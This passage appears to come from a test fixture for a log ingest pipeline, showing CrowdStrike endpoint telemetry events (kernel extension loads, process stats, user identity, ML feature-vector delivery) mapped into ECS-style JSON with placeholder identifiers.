"ffffffffa15a452190ae454f7d33e07e", - "os": { - "type": "macos" - } - }, - "message": "ConfigStateUpdate", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffa15a452190ae454f7d33e07e", - "version": "1007.4.0013701.1" - }, - "related": { - "hash": [ - "3090255842" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:09.069Z", - "crowdstrike": { - "BundleID": "com.apple.driver.AudioAUUC", - "ConfigStateHash": "1620585913", - "ContextProcessId": "364867547408058681", - "ContextTimeStamp": "2021-07-07T17:05:09.064Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-a2ae-028f6bf89be7", - "name": "KextLoadMacV1" - }, - "device": { - "id": "ffffffffaa0e47a1b009aef151d6179d" - }, - "event": { - "action": "load", - "category": [ - "driver" - ], - "created": "2021-07-07T17:05:09.069Z", - "id": "ffffffff-1111-11eb-a2ae-028f6bf89be7|ffffffffaa0e47a1b009aef151d6179d|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"KextLoad\",\"ContextTimeStamp\":\"1625677509.064\",\"ConfigStateHash\":\"1620585913\",\"ContextProcessId\":\"364867547408058681\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"BundleID\":\"com.apple.driver.AudioAUUC\",\"Entitlements\":\"15\",\"name\":\"KextLoadMacV1\",\"id\":\"ffffffff-1111-11eb-a2ae-028f6bf89be7\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffaa0e47a1b009aef151d6179d\",\"timestamp\":\"1625677509069\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "ffffffffaa0e47a1b009aef151d6179d", - "os": { - "type": "macos" - } - }, - "message": "KextLoad", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffaa0e47a1b009aef151d6179d", - "version": "1007.4.0013701.1" - }, - "process": { - "entity_id": "364867547408058681", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "1620585913" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:07.901Z", - "crowdstrike": { - "ChannelId": "20", - "ChannelVersion": "25", - "ChannelVersionRequired": "0", - "ConfigStateHash": "3155796140", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-b411-06baeacb7a63", - "name": "ChannelVersionRequiredLinV1" - }, - "device": { - "id": "ffffffff67d54f7daf3d998ffc74d48e" - }, - "event": { - "action": "ChannelVersionRequired", - "created": "2021-07-07T17:05:07.901Z", - "id": "ffffffff-1111-11eb-b411-06baeacb7a63|ffffffff67d54f7daf3d998ffc74d48e|ffffffff15754bcfb5f9152ec7ac90ac", - "original": "{\"ChannelVersion\":\"25\",\"event_simpleName\":\"ChannelVersionRequired\",\"ConfigStateHash\":\"3155796140\",\"aip\":\"67.43.156.14\",\"ChannelVersionRequired\":\"0\",\"ChannelId\":\"20\",\"ConfigBuild\":\"1007.8.0011110.1\",\"event_platform\":\"Lin\",\"name\":\"ChannelVersionRequiredLinV1\",\"id\":\"ffffffff-1111-11eb-b411-06baeacb7a63\",\"aid\":\"ffffffff67d54f7daf3d998ffc74d48e\",\"timestamp\":\"1625677507901\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}" - }, - "host": { - "id": "ffffffff67d54f7daf3d998ffc74d48e", - "os": { - "type": "linux" - } - }, - "message": "ChannelVersionRequired", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff67d54f7daf3d998ffc74d48e", - "version": "1007.8.0011110.1" - }, - "related": { - "hash": [ - "3155796140" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:11.754Z", - "crowdstrike": { - "BoundedCount": 57, - "ConfigStateHash": "2037712541", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "ProcessCount": 60, - "SHA256HashData": "64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20", - "SuppressType": "3", - "Timeout": 60, - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-b34e-063f4cefccb3", - "name": "ProcessRollup2StatsLinV3" - }, - "device": { - "id": "ffffffffe22549479fbe8293b6747a68" - }, - "event": { - "action": "ProcessRollup2Stats", - "category": [ - "process" - ], - "created": "2021-07-07T17:05:11.754Z", - "id": "ffffffff-1111-11eb-b34e-063f4cefccb3|ffffffffe22549479fbe8293b6747a68|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "state", - "original": "{\"event_simpleName\":\"ProcessRollup2Stats\",\"ConfigStateHash\":\"2037712541\",\"Timeout\":\"60\",\"ParentProcessId\":\"0\",\"aip\":\"67.43.156.14\",\"SuppressType\":\"3\",\"SHA256HashData\":\"64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20\",\"ProcessCount\":\"60\",\"BoundedCount\":\"57\",\"ConfigBuild\":\"1007.8.0011308.1\",\"UID\":\"115\",\"event_platform\":\"Lin\",\"CommandLine\":\"sh -c \\\"/usr/lib/erlang/erts-11.1.3/bin/epmd\\\" -daemon\",\"Entitlements\":\"15\",\"name\":\"ProcessRollup2StatsLinV3\",\"id\":\"ffffffff-1111-11eb-b34e-063f4cefccb3\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffe22549479fbe8293b6747a68\",\"timestamp\":\"1625677511754\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "unknown", - "type": [ - "info" - ] - }, - "host": { - "id": "ffffffffe22549479fbe8293b6747a68", - "os": { - "type": "linux" - } - }, - "message": "ProcessRollup2Stats", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffe22549479fbe8293b6747a68", - "version": "1007.8.0011308.1" - }, - "process": { - "args": [ - "sh", - "-c", - "/usr/lib/erlang/erts-11.1.3/bin/epmd", - "-daemon" - ], - "args_count": 4, - "command_line": "sh -c \"/usr/lib/erlang/erts-11.1.3/bin/epmd\" -daemon", - "hash": { - "sha256": "64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20" - }, - "parent": { - "entity_id": "0" - } - }, - "related": { - "hash": [ - "64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20", - "2037712541" - ], - "ip": [ - "67.43.156.14" - ], - "user": [ - "115" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "115" - } - }, - { - "@timestamp": "2021-07-07T17:04:38.122Z", - "crowdstrike": { - "AuthenticationId": "265", - "AuthenticationUuid": "FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109", - "AuthenticationUuidAsString": "FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109", - "ConfigStateHash": "3967242894", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "LoginSessionId": "1138166333440", - "UserSid": "S-1-5-21-3852557355-3178143607-2040168074-1530", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-9dc2-029257dbe83b", - "name": "UserIdentityMacV4" - }, - "device": { - "id": "ffffffff44564c2f8d76394cb25c31ab" - }, - "event": { - "action": "UserIdentity", - "category": [ - "authentication", - "iam" - ], - "created": "2021-07-07T17:04:38.122Z", - "id": "ffffffff-1111-11eb-9dc2-029257dbe83b|ffffffff44564c2f8d76394cb25c31ab|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"UserIdentity\",\"LoginSessionId\":\"1138166333440\",\"AuthenticationUuidAsString\":\"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109\",\"UserName\":\"user1\",\"ConfigStateHash\":\"3967242894\",\"aip\":\"67.43.156.13\",\"AuthenticationId\":\"265\",\"UserPrincipal\":\"user1@dom1\",\"UserSid\":\"S-1-5-21-3852557355-3178143607-2040168074-1530\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"265\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"UserIdentityMacV4\",\"id\":\"ffffffff-1111-11eb-9dc2-029257dbe83b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff44564c2f8d76394cb25c31ab\",\"AuthenticationUuid\":\"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109\",\"timestamp\":\"1625677478122\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "info", - "user" - ] - }, - "host": { - "id": "ffffffff44564c2f8d76394cb25c31ab", - "os": { - "type": "macos" - } - }, - "message": "UserIdentity", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff44564c2f8d76394cb25c31ab", - "version": "1007.4.0013701.1" - }, - "related": { - "hash": [ - "3967242894" - ], - "ip": [ - "67.43.156.13" - ], - "user": [ - "user1", - "user1@dom1", - "265" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "dom1", - "email": "user1@dom1", - "full_name": "user1", - "id": "265", - "name": "user1" - } - }, - { - "@timestamp": "2021-07-07T17:04:49.052Z", - "crowdstrike": { - "ConfigStateHash": "1620585913", - "EffectiveTransmissionClass": "1", - "Entitlements": "15", - "FXFileSize": "502032", - "FeatureExtractionVersion": "2", - "FeatureVector": "000000527b2276223a22312e30222c226e223a352c226c223a3235362c2265223a7b2261223a5b31363737373232332c31363737373232332c31363737373232332c31363737373232332c31363737373232335d7d7d3f48793e3f6837b53f276c8b3ef8d4fe3f036e2f3fdb404f3e361134404d8c7e3df27bb33ef837b53faa57a83e752546402e6b513eb8e2193f5e63203e1446743f295e9e401fb7e93fe010623f90be0e3f6f837b3e7333333f3951833f33afb83e3f62b73e1893753f1b851f3ea752543e9333333ed446743f045a1d40889ba64065d2f2ad9a1b883f573eab3dd773193ed254613f3f3b643eedab9f3f579a6b4082b5dd3f92d42c3e8809d54040fcf83f90a71e40d717593e832ca53e19e83e3b4b295f3f64c2f83f8a9d1f3f27fcb93f088ce73e7333333de944673e81d7dc3f2db22d3e90cb293e2ca57a3e22b6ae3e843fe63f44fdf43f0573eb3ecbc6a83c648e8a3ceb1c433d16c6153c0d4fdf3d0529353e08ce703c2d81ae3f0809d53b69a2c63b7b43d93ded91683ba90cd43e2f9db23b6e28673d646499bb84406c3c0bd6623ea809d53edfb15b3dcc73acbc188d2a3c20cae63d390eaa3d148fda398cfb263b872b023d4d2b2c3a19c60fbc58ec963af9b13139f75bed3f687fcc3f105bc0ae9de3cf3cfb15b53a5dcccfbc2398203c9f40a3ba91e2153d0ec95c3f7e00d23dd048173c13b7d83f3404ea3ef06f69400392643c4dc8753b1f9485bb875d573cdebd903e1a9fbe3be83a113b1528f23c9279143c40053e3b62089e3d06ec183d16e58aba9c7ffe3b30c0273c3cbe623cc9eecc3b1e55c1ba25558f35192b55bcba493d357b1f123422c77e35700fd4349540073385f5c53562b199363180c1bbb5f5f133702cb134553ec134453f1234dfedcabba8e2e3bc4df26734da8f6636e51c133592f7ea34116278be173eabbc11ea79bbb3d4ae3574e4c733a4bbc53046530d34fd74ee330432f8bcf212d7bbaf3e47bc46690534a8a19335420670af1ab38734cdff54338e0e59bd23ad1934a8bd10bd2bb44e3433be90390220d73590265c3481ec3abb7701543b3e1eb437841ede333ede4c31d582ecbc195ee13510b6ab35ab6563b85ae696bcc582563510d9083490265c319cda2abc8327673428415ebba593a3347763df2f713b9cbd14a4d33486ea69bca3ec033d58ec963dc523f63dba7daa3cab9f563d5c67e03e8425af3cdaf8df3f47381d3bab606b3d174e663e6b1c433c4710cb3f04d0143c9691a73e0a233a3bde2ac33d0240b83ee339c13f139c0f3e2fec573df34d6a3d00e6b03df1a9fc3d9fb3fa3b6629953c4100e73d89fe873c0811b23d2d2dcb3ce5de163d0a1dfc3fac816f3f5096bc2e0d65af3df559b43b38ae323cf6555c3d93c3613d78a0903de872b03eb439583e27ef9e3c1689443f7c8b443eb06f694010ce703cff822c3c2d81ae3b0e68e43db5e2043e6b367a3d355ef23d1b089a3c5898b33bd373b03c41d29e3decbfb13d8a0e413bd9dfdb3c2dab9f3d1fddec3dcdd2f23cd10f523ce9ccb83f4b2fec3f7119ce3f276c8b3ee831273f036e2f3fe58adb3e361134404d8c7e3df972473ef837b53faab3683e7f1412402f34d73eb8e2193f62339c3e1446743f2041894013e0df3fe010623f90be0e3f6f837b3e7333333f449ba63f30a3d73e3f62b73e1893753f1b851f3ee240b83e9333333ed446743f03d07d40889ba64065d2f2ad8f49d23f4fd8ae3dd14e3c3edde69b3f3e147b3ee5bc023f579a6b409780343f92d42c3e8809d540435f703f90a71e40d717593e832ca53e19b3d03cc13fd13f6374bc3f8a9d1f3f27fcb93f1cd35b3e7333333de388663e884b5e3f29999a3e90cb293e2305533e2147ae3e843fe63f4d013b3f056d5d3ebe28243c6703b03cf084623d14a4d33c093b7e3d05a7093e087fcc3c304ab63f08c7e33b6ad0c43b8893b83dec22683ba8e2e33e2c56d63b6cd8dc3d637de9bb849cb23c08e79b3ea6dc5d3ee00d1b3dcb923abc1fd36f3c1cf56f3d385c683d134acb398c098e3b872b023d4e075f3a108bd4bc564d7f3b029cfe399cd0863f6958103f10b780ae9e16793cf601793a58523cbc231e7e3c9eecc0ba8398a63d0fba883f7d63883dd254613c14c4483f349ba63ef0b0f24003aa263c49afe23b23d70abb875d573cde3fbc3e1a9fbe3bebcc6c3b19d0203c92641b3c402f303b62d1f23d0366513d1797ccba9f40a33b32c83f3c39a1773ccfe9b83b2276b8ba786f1235192b55bcb890d63573a8ab34a531f734c11ccb3495400732a151a8369df96936179953bbbc1f00340207b734553ec134b523e7352bd356bba8e2e3bc4df26733a7cdeb36e51c1335421b0e3515c299be173eabbc11e647bbb3d4ae328448f533aa5c213046530d357f25dd330432f8bcf290acbbae9ee4bc4669053496f7d534ede333af1ab38733a03ec7346522f2bd23ad19353fd9cfbd2bb44e3392336039250bbe34bb34f73618f0ecbb7701543c50e560356884d0330f9fab31d582ecbc19f5e03510b6ab34e35d66b85ac660bcc582563510d9083490265c3399a707bc84a0e43474d02abba593a3342f209630b98ae7bd11fb4033605e7dbc9e59f33d5f11733dc922533db943183ca5a46a3d5b42463e83bcd33cdd2f1b3f47fcb93bae3a3b3d1ceaf23e6978d53c4836653f03a29c3c9afe1e3e096bba3bde76423cfd4bf13ee1e4f73f1418933e2ee6323df1a9fc3cfe1da83df0d8453d9e7ea63b69f6a93c4083123d8a7c5b3c0266773d2e147b3ce978d53d08ce703facf41f3f510cb32e0d9dfa3df2b0213b2bd5dc3cf77af63d94ee393d782d383de978d53eb404ea3e288ce73c2209ab3f7c91d13eb0d8454010e2193cfc65413c2e53653b0ede553db674d13e6ae7d53d361bb03d1c23b83c579d0a3bd3176a3c4447c33dea161e3d8a67623bd477bc3c2f4f0e3d1e6eeb3dd07c853cd4e8fb3cded2893f42de013f6d4fdf3f276c8b3ee1e4f73f036e2f3fe58adb3e361134404d8c7e3df837b53ef18fc53faa57a83e781d7e402d53263eb8e2193f62339c3e1b089a3f204189400eb9f53fe010623f9395813f6a233a3e81ff2e3f41a9fc3f3013a93e2666663e17dbf53f1b851f3ec666663e9333333ed446743f0e560440889ba64065d2f2ad9a1b883f573eab3dd7a7873edde69b3f3f3b643eed42c43f6a30554087f62b3f92d42c3e83958140435f703f90a71e40d717593e832ca53e19ce073cd0917d3f6374bc3f8a9d1f3f26e9793f088ce73e7333333df34d6a3e8710cb3f34f7663ea20c4a3e1a02753e23bcd33e843fe63f3a36e33f0573eb3ec84b5e3c6685db3cef0ae53d17acc53c0b32cf3d05681f3e0831273c2ff6d33f0a29c73b6a9e6f3b88c60d3deecbfb3baa53fc3e2d91683b6c636b3d66d9bebb8533b13c0a0d353ea91d153ee275253dcc9d9dbc159e623c1d27c43d3ad18d3d145b6c3982b47b3b88051d3d4fe9b83a12e7cfbc579d0a3af0a5f0390a9f2b3f69db233f10b780ae9e5a073cfc26573a5a6b1bbc247ed03c9d7343ba9bb6aa3d0f66a53f7d49523dd35a863c151c5c3f35b5743ef1d14e40047f243c4d9e843b24095fbb87b99d3cdd82fd3e1c28f63beeae9f3b14812c3c91a75d3c40ad043b613f4b3d033c603d195033ba9d8c6d3b307d0b3c3d12453cd234ec3b25375dba904f6e35181195bcba493d35a2674934a531f7352bda363522229033be54dc337b157336151dabbbb5f5f1340207b7345d30d93421b49d34c2b91cbba8e2e3bc4df26733a7cdeb369116e13592f7ea34116278be173eabbc11e647bbb3d4ae328448f533b7f4153046530d359e3e2233d006d8bcf2cf96bbad9ad8bc466905351da01436249e38af17834033a03ec7346522f2bd1ddc1e35d36497bd2bb44e33bf0a47390220d734c2822235531fdebb73ba773c1888f8356884d0330f9fab31d533c2bc195ee135adf23935ab6563b85b06ccbcc84b5e3510d9083490265c33e590e6bc81450f33ce498bbba593a334d1f8602f713b9cbd1930be33605e7dbca3ec033d5d249e3dc85b183dbc115e3ca858793d5c33723e83afb83cdcc63f3f4916873bab47413d1cb6853e6b9f563c49320e3f03eab33c9afe1e3e0aa64c3bdfd6953cfac1d33ee3e4263f14af4f3e2f69443df3b6463cfeda663df2b0213d9faebc3b50678c3c4250723d8c00543c0151a43d2d0e563ce4f7663d0701113fad2bd43f5075f72e0e19d33df5f6fd3b2eb80f3cf487fd3d92e72e3d7842313de944673eb50b0f3e295e9e3c1fd36f3f7d6a163eb15b57401159b43d000a7c3c2d2dcb3b0ecd8e3db4e11e3e6c3c9f3d3adc0a3d1bb0603c52dcb13bd338f83c4100e73de9e1b13d8b53503bd6ece13c2cd9e83d201cd63dd1b7173cda12303cdc725c3f48793e3f6ded293f276c8b3f036e2f3f036e2f3fea0f913e361134404d8c7e3e0189373ef837b53fabc3613e7f62b7403012063eb79a6b3f5e63203e0d4fdf3f204189400de9e23fe010623f90be0e3f6a233a3e81ff2e3f3951833f30902e3e4275253e18793e3f1b851f3ee0f9093e9333333ed446743f045a1d40889ba64065d2f2ad9d19253f573eab3dc692f73ece21963f3f3b643eee2eb23f579a6b407e76c93f92d42c3e83958140435f703f90a71e40d717593e832ca53e25aee63cb7e9103f64c2f83f8a9d1f3f27fcb93f06a7f03e676c8b3de147ae3e884b5e3f27bb303e90cb293e3295ea3e21e4f73e81205c3f3fec573f0573eb3ebec56d3c633eff3cf1800a3d1389b53c0ac1903d0587943e06dc5d3c2efb2b3f095e9e3b67ddca3b80303c3dec8b443ba782903e30068e3b6bcc6c3d619b91bb836eb53c0bf7f03ea60aa63ee00d1b3dcc447cbc28c1553c1d55e73d36e2eb3d132b56399063903b8776813d4d7f0f3a15a1bdbc55cfab3b06f04a39c25a833f68f5c33f107c85ae9e10d83cf9335d3a594a8abc2276b83c9f16b1ba66e57d3d0e0c9e3f7dbf483dd1b7173c1435ad3f34bc6a3ef096bc4003689d3c49afe23b22fcf0bb87a8d63cde939f3e1aee633bedbb5a3b14f69d3c91e6473c402f303b64217d3d06cca33d183516ba9fe8683b33d4ae3c38f9b13cced9173b288f00ba5a42d7356eda97bcb9628d356e0c6f341b95cf341f3c6534ad5b0a32a151a8337b157335b2c72cbbb2852334900adf34553ec1346e5ee5347ab7febba8e2e3bc4df26733a7cdeb35cf19143592f7ea34c9a612be173eabbc11e647bbb3d4ae35219fff33b7f4153046530d348b7aa434677fadbcf290acbbaf2d80bc46690535a6b2cc3206f2a8af17834033a03ec7338e0e59bd1e83e435857ac3bd2bb44e33043df73927249d34bb34f735906b14bb780dc33c50e560361e0a98336f92c2320a0eb4bc19b2c435adf23935ab6563b85a4586bcc56d5d3510d9083490265c3399a707bc811b1e34cde3d7bba593a334aec0612fb676c6bd13be2333605e7dbca3ec033d59be4d3dc9667b3db83cf33ca7ef9e3d5c09813e8361133cdba0a53f485f073ba023213d191bc53e69fbe73c4059213f04dd2f3c9835163e0865953be38a7e3d0385c63ee1b08a3f142c3d3e2f9db23df0068e3cff6d333df06f693d9e7ea63b68fb013c4250723d8a4d2b3c0b007a3d2e924f3cea209b3d094c443faccccd3f50ded32e0d9dfa3df41f213b2dab9f3cf95d4f3d94a4d33d7991bc3de809d53eb532613e28db8c3c1afe1e3f7cd9e83eb0ff974010f0d83cfc3b4f3c2e53653b0ede553db6c3763e6bb98c3d35f1bf3d1a95423c53d85a3bcedd483c46bce83ded5cfb3d8ac0833bd0edc43c319a413d1e30013dd07c853cdcf0303ce243573f4ded293f69c77a3f13d70a3f036e2f3f036e2f3feaa3053e361134404d8c7e3df5c28f3ef02de03faa57a83e70d845402f5dcc3eb8e2193f62339c3df0068e3f204189400de9e23fe010623f90be0e3f6a233a3e7333333f4a85883f3318fc3e4000003e063f143f1b851f3ecb5dcc3e9333333ed446743f0e560440889ba64065d2f2ad8f49d23f573eab3dbeff193ed7f62b3f3f3b643eedab9f3f57d567409780343f9292a33e8395814041158c3f90a71e40d717593e832ca53e1a511a3c74c6e73f64c2f83f832cf93f26e9793f03a92a3e6872b03df34d6a3e884b5e3f3381d83ea20c4a3e1a02753e2353f83e825aee3f4d013b3f041f213ec240b83c6a4a8c3cf3a14d3d15b5743c091e213d059c8d3e08ce703c2f78ff3f0837b53b6a7ce13b815e393ded91683ba9cdc43e2d42c43b73dc053d6147aebb8438093c0a61173ea72b023edf559b3dcaff6dbc1bd4063c21fd153d39ffd63d128e0d398d4bad3b894c443d4f18013a195aafbc5773193af57f7339ce41413f6851ec3f0fec57ae9dfa533cfa58f73a5a0d27bc21943a3ca1dfb9ba5471063d0e56043f7dd2f23dd1b7173c14b3813f33dd983ef013a9400347d83c4ca2db3b245d42bb8733663ce243573e1b22d13bf47b673b0f32383c928e0d3c4059213b6304473d05143c3d176ddbba9aed573b3220793c3c6a7f3ccc4ef93b267621ba298e0334f8d6f4bcba493d35461af9342ca85e34c11ccb352222903385f5c5368e9b3935b2c72cbbb75ea6344cfa3134553ec134b523e734c2b91cbba8e2e3bc4df26734d636243705eeb9351ad56535332082be173eabbc11ea79bbb3d4ae35a82cc133a943c13046530d34fd74ee34677fadbcf27bb3bbad8a11bc4669053496f7d53580f4d6af1848493405e546338e0e59bd23ad193400bddcbd2bb44e33bf0a473927249d34c2822235531fdebb73ba773c626d4836cf4407330f9fab31d582ecbc1a027535b8af0035d13ed5b85ad11cbcc582563573cb0735d499d3319cda2abc8548aa3474d02abba593a3351ccb0c2f713b9cbd14a4d333605e7dbca3ec033d6108c43dc9e4503dba34443ca454de3d5a511a3e84816f3cdc09813f4773193bac3a863d1945b73e6b1c433c48de2b3f03e4263c9a415f3e08b4393bd8ba413d0073583ee1cac13f13a92a3e2e48e93df318fc3d0216c63df212d73d9d7dbf3b627e0f3c44ef893d8ba1f53c03e8573d2c9afe3ce5f30e3d0846203fac710d3f50c49c2e0d4f2a3df487fd3b306c443cf837b53d96ffc13d795d4f3de8db8c3eb4bc6a3e28a71e3c1fba453f7c56d63eb07c854010c63f3cfeb0753c3170503b0e68e43db977853e6bb98c3d3c7f783d19a4163c55f99c3bd1e96c3c4669053debb98c3d8a6ca03bde43ee3c2efb2b3d2007dd3dce075f3cdbb59e3ce75793b01aa501", - "MLModelVersion": "4", - "Malicious": "0", - "ModelPrediction": "1436899696705536", - "PupAdwareConfidence": "0", - "PupAdwareDecisionValue": "12384657383358464", - "SHA256HashData": "c89caf538788e6524bf4ae93194051f3389eecbc71e4793f12a2dc0368211cc2", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-b44e-069a02b0ad6b", - "name": "DeliverLocalFXToCloudMacV4" - }, - "device": { - "id": "ffffffff45d647e6ae0ba8764a4bd570" - }, - "event": { - "action": "DeliverLocalFXToCloud", - "created": "2021-07-07T17:04:49.052Z", - "id": "ffffffff-1111-11eb-b44e-069a02b0ad6b|ffffffff45d647e6ae0ba8764a4bd570|ffffffff15754bcfb5f9152ec7ac90ac", - "original": "{\"FeatureVector\":\"000000527b2276223a22312e30222c226e223a352c226c223a3235362c2265223a7b2261223a5b31363737373232332c31363737373232332c31363737373232332c31363737373232332c31363737373232335d7d7d3f48793e3f6837b53f276c8b3ef8d4fe3f036e2f3fdb404f3e361134404d8c7e3df27bb33ef837b53faa57a83e752546402e6b513eb8e2193f5e63203e1446743f295e9e401fb7e93fe010623f90be0e3f6f837b3e7333333f3951833f33afb83e3f62b73e1893753f1b851f3ea752543e9333333ed446743f045a1d40889ba64065d2f2ad9a1b883f573eab3dd773193ed254613f3f3b643eedab9f3f579a6b4082b5dd3f92d42c3e8809d54040fcf83f90a71e40d717593e832ca53e19e83e3b4b295f3f64c2f83f8a9d1f3f27fcb93f088ce73e7333333de944673e81d7dc3f2db22d3e90cb293e2ca57a3e22b6ae3e843fe63f44fdf43f0573eb3ecbc6a83c648e8a3ceb1c433d16c6153c0d4fdf3d0529353e08ce703c2d81ae3f0809d53b69a2c63b7b43d93ded91683ba90cd43e2f9db23b6e28673d646499bb84406c3c0bd6623ea809d53edfb15b3dcc73acbc188d2a3c20cae63d390eaa3d148fda398cfb263b872b023d4d2b2c3a19c60fbc58ec963af9b13139f75bed3f687fcc3f105bc0ae9de3cf3cfb15b53a5dcccfbc2398203c9f40a3ba91e2153d0ec95c3f7e00d23dd048173c13b7d83f3404ea3ef06f69400392643c4dc8753b1f9485bb875d573cdebd903e1a9fbe3be83a113b1528f23c9279143c40053e3b62089e3d06ec183d16e58aba9c7ffe3b30c0273c3cbe623cc9eecc3b1e55c1ba25558f35192b55bcba493d357b1f123422c77e35700fd4349540073385f5c53562b199363180c1bbb5f5f133702cb134553ec134453f1234dfedcabba8e2e3bc4df26734da8f6636e51c133592f7ea34116278be173eabbc11ea79bbb3d4ae3574e4c733a4bbc53046530d34fd74ee330432f8bcf212d7bbaf3e47bc46690534a8a19335420670af1ab38734cdff54338e0e59bd23ad1934a8bd10bd2bb44e3433be90390220d73590265c3481ec3abb7701543b3e1eb437841ede333ede4c31d582ecbc195ee13510b6ab35ab6563b85ae696bcc582563510d9083490265c319cda2abc8327673428415ebba593a3347763df2f713b9cbd14a4d33486ea69bca3ec033d58ec963dc523f63dba7daa3cab9f563d5c67e03e8425af3cdaf8df3f47381d3bab606b3d174e663e6b1c433c4710cb3f04d0143c9691a73e0a233a3bde2ac33d0240b83ee339c13f139c0f3e2fec573df34d6a3d00e6b03df1a9fc3d9fb3fa3b6629953c4100e73d89fe873c0811b23d2d2dcb3ce5de163d0a1dfc3fac816f3f5096bc2e0d65af3df559b43b38ae323cf6555c3d93c3613d78a0903de872b03eb439583e27ef9e3c1689443f7c8b443eb06f694010ce703cff822c3c2d81ae3b0e68e43db5e2043e6b367a3d355ef23d1b089a3c5898b33bd373b03c41d29e3decbfb13d8a0e413bd9dfdb3c2dab9f3d1fddec3dcdd2f23cd10f523ce9ccb83f4b2fec3f7119ce3f276c8b3ee831273f036e2f3fe58adb3e361134404d8c7e3df972473ef837b53faab3683e7f1412402f34d73eb8e2193f62339c3e1446743f2041894013e0df3fe010623f90be0e3f6f837b3e7333333f449ba63f30a3d73e3f62b73e1893753f1b851f3ee240b83e9333333ed446743f03d07d40889ba64065d2f2ad8f49d23f4fd8ae3dd14e3c3edde69b3f3e147b3ee5bc023f579a6b409780343f92d42c3e8809d540435f703f90a71e40d717593e832ca53e19b3d03cc13fd13f6374bc3f8a9d1f3f27fcb93f1cd35b3e7333333de388663e884b5e3f29999a3e90cb293e2305533e2147ae3e843fe63f4d013b3f056d5d3ebe28243c6703b03cf084623d14a4d33c093b7e3d05a7093e087fcc3c304ab63f08c7e33b6ad0c43b8893b83dec22683ba8e2e33e2c56d63b6cd8dc3d637de9bb849cb23c08e79b3ea6dc5d3ee00d1b3dcb923abc1fd36f3c1cf56f3d385c683d134acb398c098e3b872b023d4e075f3a108bd4bc564d7f3b029cfe399cd0863f6958103f10b780ae9e16793cf601793a58523cbc231e7e3c9eecc0ba8398a63d0fba883f7d63883dd254613c14c4483f349ba63ef0b0f24003aa263c49afe23b23d70abb875d573cde3fbc3e1a9fbe3bebcc6c3b19d0203c92641b3c402f303b62d1f23d0366513d1797ccba9f40a33b32c83f3c39a1773ccfe9b83b2276b8ba786f1235192b55bcb890d63573a8ab34a531f734c11ccb3495400732a151a8369df96936179953bbbc1f00340207b734553ec134b523e7352bd356bba8e2e3bc4df26733a7cdeb36e51c1335421b0e3515c299be173eabbc11e647bbb3d4ae328448f533aa5c213046530d357f25dd330432f8bcf290acbbae9ee4bc4669053496f7